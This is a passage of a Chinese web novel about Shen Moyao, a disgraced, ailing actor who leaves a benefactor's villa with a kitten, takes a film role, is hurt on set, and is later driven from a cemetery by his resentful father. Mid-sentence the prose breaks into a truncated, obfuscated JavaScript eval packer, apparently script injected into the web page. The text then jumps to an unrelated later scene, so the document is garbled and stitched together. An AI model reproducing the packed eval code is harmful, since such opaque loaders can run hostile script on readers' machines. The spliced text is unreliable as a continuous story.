房门外仍然很温暖,他穿着单薄的睡衣沿着走廊走了几步,在另一扇门前听见窸窸窣窣的声音。 门虚掩着,他敲了敲,没有等到什么人回应,却听见两声熟悉的喵喵叫。 一直微微悬着的心总算落了地,沈陌遥长舒一口气,推开房门。 同样被暖色调包裹的房间里,瘦巴巴的蓝眼睛小猫竖起尾巴超他屁颠屁颠跑过来。 那天被沈陌遥捡到的时候,他身上还很脏,毛发和泥灰混在一起显出暗沉的灰,但如今他明显也一并得到了照顾,浑身上下都被洗得干干净净的,竟显出白色的毛发,只是在背上和尾巴上有一些灰色。 这么乖巧可爱的小家伙,怎么会独自一人在外面流浪呢。 沈陌遥蹲下来揉揉他的小脑袋,又在它的肚子上撸了几把,发觉他的小肚皮撑的滚圆,一抬头才恍然发觉房间里已经放好了饭盆和水盆,甚至连猫砂盆都被摆在角落。 “看来你在这儿过得很滋润啊。” 沈陌遥笑着挠了挠他的下巴,小家伙很快贴着他的手指发出呼噜声。 “但是可能得委屈你了——我们不能继续住在这里。” 沈陌遥扶着墙缓缓站起身。他犹豫了一下,还是没把手机壳里那张写着留言的纸直接拿来用,折回衣帽间从自己的包里找了纸笔出来。 他趴在桌前,给那位Y先生也留了一段话,感谢他照顾自己和小猫、给他们提供居所,告诉他自己决定离开。 “如果我继续住在这里,会给你带来很多麻烦。” “所以我必须尽快离开。” 他一边轻声念着一边写,也许是反反复复烧了太久,这些日子他的脑袋总是不是特别灵光,有些闷顿,写出来的表达都不太书面化,但他写得很认真。 “我还不知道你是谁,也不清楚该怎样感谢你。但是如果还有机会见到你的话,至少我想亲口把谢谢说给你听。” · “所以现在,得重新找个地方当作咱们的家。” 半小时后,沈陌遥带着自己的东西和小猫,驾车离开了Y先生提供的住处。 出了大门他才发觉,那是一栋临海的复式别墅,连外观都和他在美国居住的地方很相似,占地面积不大却设计得漂亮又宜居。 倘若他还有选择的余地,其实这是一个让他十分心仪的住所。 但是,以他现在的处境,并不适合再去租任何一处房子。 这也是他在写回信时意识到的。 那些疯狂的黑粉即然能够在短时间内找到他的上一处公寓……继续找到他的新住处也就只会是几天之内的事。 沈陌遥翻出备忘录。 撑过浪潮的拍摄后,在去找外婆和妹妹之前,尚未完成的事情还有两件。 获得足够让两个项目落地的资金,让妹妹的想法顺利实现。 以及,如果可能的话……以演员的身份,在这个世界上再留下一些东西,也算是给自己一直以来的梦想,以及曾经做出的承诺一个交代。 再加上当务之急的,找到一处比较安全的住所—— 其实,倒是有一个方法可以一次性满足他的这三个需求。 但是多少是有点异想天开了。 沈陌遥扯了扯嘴角,事到如今又哪里会有剧组再找他这种人合作呢。 抱着随便看一看的心态,他点开了自己的工作邮箱。 果不其然,除了堆积在一起不堪入目的各种恐吓、辱骂邮件之外,零散的工作邀约全是一些直播电商,都是抱着黑红也是流量的想法对他发出邀请。 “嗯?” 沈陌遥的指尖在一个简短的标题上停驻。 [相信我,沈先生,这将是你近期收到的最满意的邀约] 他被这封邮件无比自信的口吻勾起兴趣,捞过蜷在副驾驶发呆的小雪花——他给小猫起的新名字,点开那封邮件翻阅起来。 令他诧异的是,这封邮件的主题竟然真的是他先前认为不可能再收到的影视剧邀约。 甚至是一部电影的男主角。 邮件的发件人是大名鼎鼎的安以炵。 他是一位世界级的天才导演,擅长拍摄周期很短的现实题材剧情片,以片中唯美的构图,精妙的剧情和台词或是引发共鸣的主题出名,获得很多人的喜爱,这些年拿了国内外不少奖项,人送外号鬼才导演。 不过据说,“鬼才”不仅仅指的是他在导演方面的惊人天赋,同时也象征着他极为怪癖的性格。 身为导演兼制片人,他的电影几乎从不招商,台前幕后所有参与项目的人员也全部由他一人拟定,没有任何人可以改变他的选择,也没有任何人知道他做出选择的时候考虑的是什么。 在邮件中,他连剧本的类型和预览都没有提供,只报出了一个相当可观的片酬,让他尽快去兰浦酒店报道,就像已经拿定他不会拒绝一样。 这也确实是如今的他唯一合适的机会了。 沈陌遥没有犹豫,驱车前往约定的地点。 安以炵本人如同传言所说是个十分古怪的人,他在见到沈陌遥的第一时间就连连点头,颇为嘻哈的全包头巾下是一双极为精亮有神的眼睛。 “我很喜欢你现在的状态。” 他来回在沈陌遥身上扫了几眼,盯住他没什么情绪的黑眼睛,摸着胡茬,语气有些危险。 “但是,不是不可以再打磨打磨……以便你后续更加进入角色。” 安以炵让沈陌遥在剧组住下,却仍旧没有告诉他剧本的详细内容,也没有说选中他的理由,而是在第三天晚上直接通知他去试一场戏。 在片场,他被简单告知自己要饰演的是一位医生,而马上准备拍摄的是一场被愤怒的病人家属推搡的戏。 “你不用去演什么,我要看你真实的反应。” 安以炵说了一番有些莫名的话,挥手喊了开机。 不知道是有意还是无心,那位饰演病人家属的年轻演员在推沈陌遥的时候铆足了十成十的力,他一下被推着撞向桌子,尖锐桌角尽数没进他的身体。 他狼狈地滑到地上,仿佛被人捅了一刀,前胸和上腹很快传来钻心的痛。 他一声不吭,导演也没有对此有任何表示,片场的众人又一向对如今被冠以杀人未遂名号的劣迹艺人敬而远之,自然都只是远远地看着笑话,没有任何人愿意去扶他。 安以炵盯着显示器里遍布冷汗,在短暂诧异后却恢复隐忍漠然的脸看了一会儿,竟然就颇为满意地点点头宣布关机收工。 过了很久,直到机器都被撤下去,场上的人走得差不多了,沈陌遥才颤巍巍从地上爬起来。 他的动作很慢,连直起身子都似乎是件极为费力的事,撑着桌子时候身体大幅晃动几下,有抹诡异的红色浮现在他唇边。 回到住处时夜色已深,沈陌遥快步走进卫生间,把头埋在水池里就是一阵撕心裂肺地咳,手指紧紧抠着洗手台边缘,用力到青筋在苍白的皮肤上都尽数浮现,脊背抖得像个筛子。 他咳了一阵,沉默着打开龙头,看着水流成螺旋状将池子里遍布的血色一点一点晕染开,变成一滩浅红色的水流冲入下水口,又洗了把脸。 在白炽灯下,沈陌遥凝视镜子里那张湿漉漉的脸。 坠江之后的这些日子他瘦了很多,颧骨下面都显出一些阴影,配合愈发深邃的眼窝,看起来憔悴极了。 乍一看,倒是真的和网上的那些恶评一样,像个瘾君子。 如此自嘲着,沈陌遥脱下外衣,摇摇晃晃地走向小床,小雪花从自己房间的猫爬架上跳下来,试图隔着小门去蹭他的脚撒娇,他却没有力气再把他抱起来逗他,只是倒在床上急促地喘气。 血腥味还在顺着喉咙往上涌,他抽了几张纸捂住嘴咳得浑身发抖,憋着一口气从床头抽屉里翻出一瓶云南白药,囫囵吞了几粒下去,蜷缩在床上按住仍旧在阵痛的前胸和上腹,感到意识逐渐昏沉。 他不能睡。 沈陌遥死死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你外祖母悉心陪伴照顾你那么多年,我以为你不管再如何冷血,至少同她最亲……结果你对她就是这样的态度?你果真是个彻头彻尾的白眼狼!” “爸。” 沈陌遥轻声打断他。 “至少在今天,不要这样说,行吗?” 他沉下肩偏过头去咳了咳,声音很轻,却透出一丝压抑许久的疲倦怅然,阳光把他的身影拉出很长很薄的一条影子。 “就当是……最后容忍我一次吧。” 自十四年前起,沈陌遥便很少用这样寻求商量的口味和他说话。 像是被他语气中浓浓的疲惫定在原地,沈厉峥看着他形销骨立的身影,脑中忽然闪过小时候的沈陌遥拉着他的衣角小声问他可不可以再买一盒巧克力时的景象,一时之间竟忘了回答。 记忆里男孩子白皙柔嫩的脸蛋逐渐褪去,他盯着眼前青年苍白瘦削的脸颊发愣。 不过是近两个月没见,怎么沈陌遥又像是瘦了许多的样子。 他还在咳嗽,风吹散他的围巾,末端顺着脸颊长长一条扫过去,将他的下半张脸遮去。 不知怎的,沈厉峥看着他在风中显得愈发飘摇不定的身形,忽然产生一种他会就这样随风散去的错觉。 他怔了怔,紧握的拳头松懈下来,略微收敛怒意。 “……先跟我上车吧。” 沈陌遥就算再如何令人厌恨,作为沈家的一家之主,他始终不该在大白天的在墓园里这样大吼大叫。这相当有失风度。 于是他试图做出一番弥补。 “你现在住在哪?我送你回去。” 沈陌遥已经是强弩之末,他眼眸垂下片刻点点头,连站稳的体力都所剩无几,也无力生出推拒之心。 “谢谢爸。” 他清了清嗓子,温声说道。 “把我送到兰浦酒店就好。” 回去的路上,沈陌遥一直在咳嗽,一开始他还把手握成拳抵在唇边试图压制,后来实在是咳得停不下来,便主动升起了后座和前排之间的隔断板,试图让自己的咳嗽声不那么恼人。 沈厉峥最后从后视镜向后排看去的时候,上升的挡板已经把可视范围收的很窄,他隐约看到那人在车后座把自己缩成很小的一团,额头抵着玻璃,肩膀随着咳喘一抖一抖的,却极尽克制着声音,脸埋在阴影里。 车开到酒店后已经是下午三点多,沈厉峥开了一路的车也有些疲乏,心里又正憋着火,在沈陌遥打开车门,却磨蹭一阵才晃晃悠悠下车后,他的怒气更甚,也就没有再回头,更不要说下车送他。 “我先走了,爸。” 沈陌遥下车的时候身子明显往前栽了一下,又捂着嘴断断续续咳起来。 “回去路上小心。” 他关上车门,压着咳意哑声说道。 沈厉峥一心沉浸在怒火里,对他的话几乎充耳不闻,很快就掉头将车开出。 当时的他,对自己日后会面临的痛心和悔恨毫无察觉的迹象。 直到很多年后,沈厉峥都一直在想。 如果当时他能再细心些,注意到自己的儿子其实虚弱得连下车都要花一点时间积攒力气。 如果他再眼尖些,能辨别出他袖口那块被自己斥责的深褐色污垢其实是凝结的血。 如果他再敏锐些,在看到他霜白的脸色和骤然消瘦的身形的时候,就意识到他已经病得很重。 是不是一切都会不一样? 如果当时他是个合格的,懂得去爱,懂得去珍惜的父亲。 他的儿子是不是就不会离开他。